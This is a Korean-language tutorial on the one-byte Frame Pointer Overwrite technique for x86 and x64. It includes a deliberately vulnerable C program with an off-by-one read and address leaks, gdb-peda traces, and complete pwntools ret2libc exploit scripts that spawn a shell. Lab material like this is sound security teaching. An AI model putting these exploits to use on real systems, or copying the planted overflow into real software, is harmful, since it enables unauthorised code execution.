Frame Pointer Overwrite(FPO) 기법은 SFP(Stack Frame Pointer)를 1byte 덮어써서 코드의 흐름을 변경하는 기법이다.
- x86 바이너리의 경우 스택을 16 byte 경계에 정렬하는 코드가 추가된다.
Stack alignment at 16-byte boundary
다음과 같이 16byte 경계에 스택을 정렬하기 위한 코드가 동작한다.
- main() 함수가 시작되는 부분에서는 이전 함수에서 사용하던 Frame Pointer를 Stack에 저장하기 전에 Stack alignment을 진행한다.
- main() 함수가 종료되는 부분에서는 다음과 같이 동작한다.
- leave 명령어 실행 전, ebp 레지스터에 저장된 주소에 0x4를 뺀 영역에 저장된 값을 ecx 레지스터에 저장한다.
- leave 명령어 실행 후, ecx 레지스터에 저장된 주소에 0x4를 뺀 주소 값을 esp 레지스터에 저장한다.
- Stack alignment 코드가 없을 경우, esp 레지스터의 값이 leave 명령에 의해 변경된다.
- Stack alignment 코드가 적용 되면, ret 코드가 실행되기 전에 "lea esp, [ecx-0x4]" 코드에 의해 esp 레지스터 값이 변경된다.
- 하지만, ecx 레지스터의 값은 leave 명령이 실행 되기 전에 ebp 레지스터를 이용해 값을 저장하기 때문에 esp 레지스터의 값을 변경할 수 있다.
Stack alignment(4byte)
0x080485c7 <+0>: push ebp
0x080485c8 <+1>: mov ebp,esp
0x080485ca <+3>: cmp DWORD PTR [ebp+0x8],0x1
0x080485ce <+7>: jg 0x80485e4 <main+29>
0x080485d0 <+9>: push 0x80486a4
0x080485d5 <+14>: call 0x8048430 <puts@plt>
0x080485da <+19>: add esp,0x4
0x080485dd <+22>: push 0x0
0x080485df <+24>: call 0x8048440 <exit@plt>
0x080485e4 <+29>: call 0x804857b <vuln>
0x080485e9 <+34>: nop
0x080485ea <+35>: leave
0x080485eb <+36>: ret
Stack alignment(16byte)
>> 0x080485d3 <+0>: lea ecx,[esp+0x4]
>> 0x080485d7 <+4>: and esp,0xfffffff0
>> 0x080485da <+7>: push DWORD PTR [ecx-0x4]
0x080485dd <+10>: push ebp
0x080485de <+11>: mov ebp,esp
0x080485e0 <+13>: push ecx
0x080485e1 <+14>: sub esp,0x4
0x080485e4 <+17>: mov eax,ecx
0x080485e6 <+19>: cmp DWORD PTR [eax],0x1
0x080485e9 <+22>: jg 0x8048605 <main+50>
0x080485eb <+24>: sub esp,0xc
0x080485ee <+27>: push 0x80486d4
0x080485f3 <+32>: call 0x8048430 <puts@plt>
0x080485f8 <+37>: add esp,0x10
0x080485fb <+40>: sub esp,0xc
0x080485fe <+43>: push 0x0
0x08048600 <+45>: call 0x8048440 <exit@plt>
0x08048605 <+50>: call 0x804857b <vuln>
0x0804860a <+55>: nop
>> 0x0804860b <+56>: mov ecx,DWORD PTR [ebp-0x4]
0x0804860e <+59>: leave
>> 0x0804860f <+60>: lea esp,[ecx-0x4]
0x08048612 <+63>: ret
Proof of concept
32bit
다음 코드를 이용해 32bit에서 FPO의 동작을 확인해 보겠다.
- 해당 바이너리는 Stack Buffer Overflow를 이용해 SFP 영역에 1byte를 Overwrite할 수 있다.
//gcc -m32 -fno-stack-protector -o fpo fpo.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
void vuln(){
char buf[50];
printf("buf[50] address : %p\n",buf);
void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
printf("Printf() address : %p\n",printf_addr);
read(0, buf, 63);
}
void main(int argc, char *argv[]){
if(argc<2){
printf("argv error\n");
exit(0);
}
vuln();
}
다음과 같이 Overflow를 확인할 수 있다.
- 문자 63개를 입력하여 main() 함수의 SFP 값이 1byte 변경되었다.
- 0xffffd588 → 0xffffd550
- 해당 값은 leave 명령어에 의해 EBP 레지스터에 저장된다.
gdb-peda$ c
Continuing.
buf[50] address : 0xffffd53a
Printf() address : 0xf7e49020
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP
Breakpoint 3, 0x080485d1 in vuln ()
gdb-peda$ P
$3 = 0xffffd590
gdb-peda$ i r ebp
ebp 0xffffd578 0xffffd578
gdb-peda$ x/2wx 0xffffd578
0xffffd578: 0xffffd550 0x0804860a
gdb-peda$ ni
0x080485d2 in main ()
gdb-peda$ i r ebp
ebp 0xffffd550 0xffffd550
gdb-peda$
다음과 같이 코드의 흐름이 변경된다.
- leave 명령어로 인해 EBP 레지스터의 값은 ESP 레지스터에 저장되며, 이로 인해 프로그램의 흐름이 변경될 수 있다.
- "mov ecx, DWORD PTR [ebp-0x4]" 코드에 의해 [EBP 레지스터에 저장된 주소 - 0x4] 영역에 저장된 값을 ECX 레지스터에 저장한다.
- [0xffffd550 - 0x4]에 저정된 값은 0x46464545
- leave 명령어로 인해 ESP, EBP 레지스터의 값이 변견된다.
- "lea esp, [ecx-0x4]" 코드에 의해 [ECX - 0x4] 연산된 값을 ESP 레지스터에 저장한다.
- ESP 레지스터의 값이 leave 코드에 의해 변경되는 것이 아니라 "lea esp, [ecx - 0x4]" 코드에 의해 변경된다.
- 즉, Stack alignment 관련 코드가 추가되어도 코드의 흐름은 변경할 수 있다.
gdb-peda$ c
Continuing.
Breakpoint 4, 0x0804860b in main ()
gdb-peda$ i r ebp
ebp 0xffffd550 0xffffd550
gdb-peda$ x/wx 0xffffd550 - 0x4
0xffffd54c: 0x46464545
gdb-peda$ ni
0x0804860e in main ()
gdb-peda$ i r ecx
ecx 0x46464545 0x46464545
gdb-peda$ c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
Stopped reason: SIGSEGV
0x08048612 in main ()
gdb-peda$ i r esp
esp 0x46464541 0x46464541
gdb-peda$
따라서, Exploit 코드는 아래와 같다.
from pwn import *
p = process(['./fpo','AAAA'])
p.recvuntil('buf[50] address : ')
tmp = p.recv(10)
stackAddr = int(tmp,16)
stackAddr += 0x8
onebyte = int(tmp[8:11],16)
onebyte += 0x4
p.recvuntil('Printf() address : ')
libc = p.recvuntil('\n')
libc = int(libc,16)
libcBase = libc - 0x49020
sysAddr = libcBase + 0x3a940
exit = libcBase + 0x2e7b0
binsh = libcBase + 0x15902b
print "StackAddr : " + hex(stackAddr)
print "onebyte : " + hex(onebyte)
print "libc base : " + hex(libcBase)
print "system() : " +hex(sysAddr)
print "exit() : " +hex(exit)
print "binsh : " + hex(binsh)
exploit = p32(stackAddr)
exploit += p32(sysAddr)
exploit += p32(exit)
exploit += p32(binsh)
exploit += '\x90' * (62 - len(exploit))
exploit += p32(onebyte)
p.send(exploit)
p.interactive()
64bit
다음 코드를 이용해 64bit에서 FPO의 동작을 확인해 보겠다.
- 해당 바이너리는 Stack Buffer Overflow를 이용해 SFP 영역에 1byte를 Overwrite할 수 있다.
//gcc -fno-stack-protector -o fpo fpo.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
void vuln(){
char buf[32];
printf("buf[32] address : %p\n",buf);
void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
printf("Printf() address : %p\n",printf_addr);
read(0, buf, 49);
}
void main(int argc, char *argv[]){
if(argc<2){
printf("argv error\n");
exit(0);
}
vuln();
}
다음과 같이 Frame Pointer 영역의 Overwrite를 확인할 수 있다.
- 문자 49개를 입력하여 main() 함수의 SFP의 값이 1byte 변경되었다.
- 0x7fffffffe450 → 0x7fffffffe447
- 해당 값은 leave 명령어에 의해 RBP 레지스터에 저장된다.
gdb-peda$ c
Continuing.
buf[32] address : 0x7fffffffe400
Printf() address : 0x7ffff785e800
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFGG
Breakpoint 2, 0x0000000000400766 in vuln ()
gdb-peda$ i r rbp
rbp 0x7fffffffe430 0x7fffffffe430
gdb-peda$ x/2gx 0x7fffffffe430
0x7fffffffe430: 0x00007fffffffe447 0x000000000040079b
gdb-peda$ ni
0x0000000000400767 in vuln ()
gdb-peda$ i r rbp
rbp 0x7fffffffe447 0x7fffffffe447
gdb-peda$
다음과 같이 코드 흐름의 변경을 확인할 수 있다.
- leave 명령어로 인해 RBP 레지스터의 값은 RSP 레지스터에 저장되며, 이로 인해 프로그램의 흐름이 변경될 수 있다.
- 즉, 1byte를 변경하여 RTL 코드 또는 shellcode가 저장된 영역을 가리킬 수 있다면 코드의 흐름을 변경할 수 있다.
gdb-peda$ c
Continuing.
Breakpoint 3, 0x000000000040079c in main ()
gdb-peda$ i r rbp
rbp 0x7fffffffe447 0x7fffffffe447
gdb-peda$ x/2gx 0x7fffffffe447
0x7fffffffe447: 0x0000020000000000 0x000000004007a000
gdb-peda$ ni
0x000000000040079d in main ()
gdb-peda$ i r rsp
rsp 0x7fffffffe44f 0x7fffffffe44f
gdb-peda$ x/gx 0x7fffffffe44f
0x7fffffffe44f: 0x000000004007a000
gdb-peda$ x/gx 0x7fffffffe400
0x7fffffffe400: 0x4141414141414141
gdb-peda$
따라서, Exploit 코드는 아래와 같다.
from pwn import *
p = process(['./fpo','AAAA'])
p.recvuntil('buf[32] address : ')
tmp = p.recvuntil('\n')
onebyte = int(tmp[12:14],16)
p.recvuntil('Printf() address : ')
libc = p.recvuntil('\n')
libc = int(libc,16)
libcBase = libc - 0x55800
sysAddr = libcBase + 0x45390
exit = libcBase + 0x3a030
binsh = libcBase + 0x18cd57
poprdi = 0x00400803
print "Stack Addr : " + tmp
print "onebyte : " + hex(onebyte)
print "libc base : " + hex(libcBase)
print "system() : " +hex(sysAddr)
print "exit() : " +hex(exit)
print "binsh : " + hex(binsh)
exploit = '\x90' * 8
exploit += p64(poprdi)
exploit += p64(binsh)
exploit += p64(sysAddr)
exploit += '\x90' * (48 - len(exploit))
exploit += p64(onebyte)
p.send(exploit)
p.interactive()
참고 사이트
01.Frame Pointer Overwrite(One-byte Overflow) - x86 - TechNote - Lazenca.0x0
Excuse the ads! We need some help to keep our site up. List Frame Pointer Overwrite(One-byte Overflow) - x86 x86에서도 x64 환경과 같이 Frame Pointer를 1byte 덮어써서 코드의 흐름을 변경 할 수 있습니다.32 bit Binary의 경우 64bit
www.lazenca.net
02.Frame Pointer Overwrite(One-byte Overflow) - x64 - TechNote - Lazenca.0x0
Excuse the ads! We need some help to keep our site up. List Frame Pointer Overwrite(One-byte Overflow) Frame Pointer Overwrite란 Frame point에 1byte를 덮어써서 프로그램의 실행 흐름을 제어하는 것입니다. LEAVE, LEAVE instruction 해
www.lazenca.net
'hacking > pwnable' 카테고리의 다른 글
UAF(Use-After-Free) (0) | 2023.05.28 |
---|---|
Double Free Bug (0) | 2023.05.28 |
Frame faking(Fake ebp) (0) | 2023.05.28 |
One-gadgets (0) | 2023.05.27 |
ROP(Return Oriented Programming) (0) | 2023.05.27 |